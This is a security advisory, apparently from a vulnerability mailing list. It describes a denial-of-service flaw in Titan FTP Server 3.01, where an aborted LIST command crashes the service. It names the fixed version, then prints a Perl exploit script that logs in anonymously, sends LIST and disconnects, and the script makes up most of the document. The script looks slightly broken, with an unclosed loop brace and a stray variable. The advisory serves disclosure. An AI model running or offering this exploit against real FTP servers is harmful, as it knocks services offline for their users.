      Titan FTP Server Aborted LIST DoS
    ------------------------------------------------------------------------

    SUMMARY

    A security vulnerability exists in South River Technologies' Titan FTP
    Server, a user issuing a LIST command and disconnecting before the LIST
    command had the time to connect, will cause the program to try and access
    an invalid socket. This will result in the FTP service's crash (and in
    turn, no longer being able to service any additional users).

    DETAILS

    Vulnerable Systems:
     * Titan FTP Server version 3.01 build 163

    Immune Systems:
     * Titan FTP Server version 3.10 build 169

    Solution:
    To solve this issue upgrade to the latest version (3.10 build 169 or
    newer).

    Exploit:
    #!/usr/bin/perl
    # Test for Titan FTP server security vulnerability

    use IO::Socket;

    $host = "192.168.1.243";

    my @combination;
    $combination[0] = "LIST \r\n";

    for (my $i = 0; $combination[$i] ; $i++)
    {
     print "Combination: $1\n";

     $remote = IO::Socket::INET->new ( Proto => "tcp",
         PeerAddr => $host,
         PeerPort => "2112",
         );
     unless ($remote) { die "cannot connect to ftp daemon on $host" }

     print "connected\n";
     while (<$remote>)
     {
      print $_;
      if (/220 /)
      {
       last;
      }
     }

     $remote->autoflush(1);

     my $ftp = "USER anonymous\r\n";

     print $remote $ftp;
     print $ftp;

     while (<$remote>)
     {
      print $_;
      if (/331 /)
      {
       last;
      }
     }

     $ftp = "PASS a\@b.com\r\n";
     print $remote $ftp;
     print $ftp;
     
     while (<$remote>)
     {
      print $_;
      if (/230 /)
      {
       last;
      }
     }
     
     $ftp = $combination[$i];

     print $remote $ftp;
     print $ftp;

     while (<$remote>)
     {
      print $_;
      if (/150 /)
      {
       last;
      }
     

     close $remote;
    }
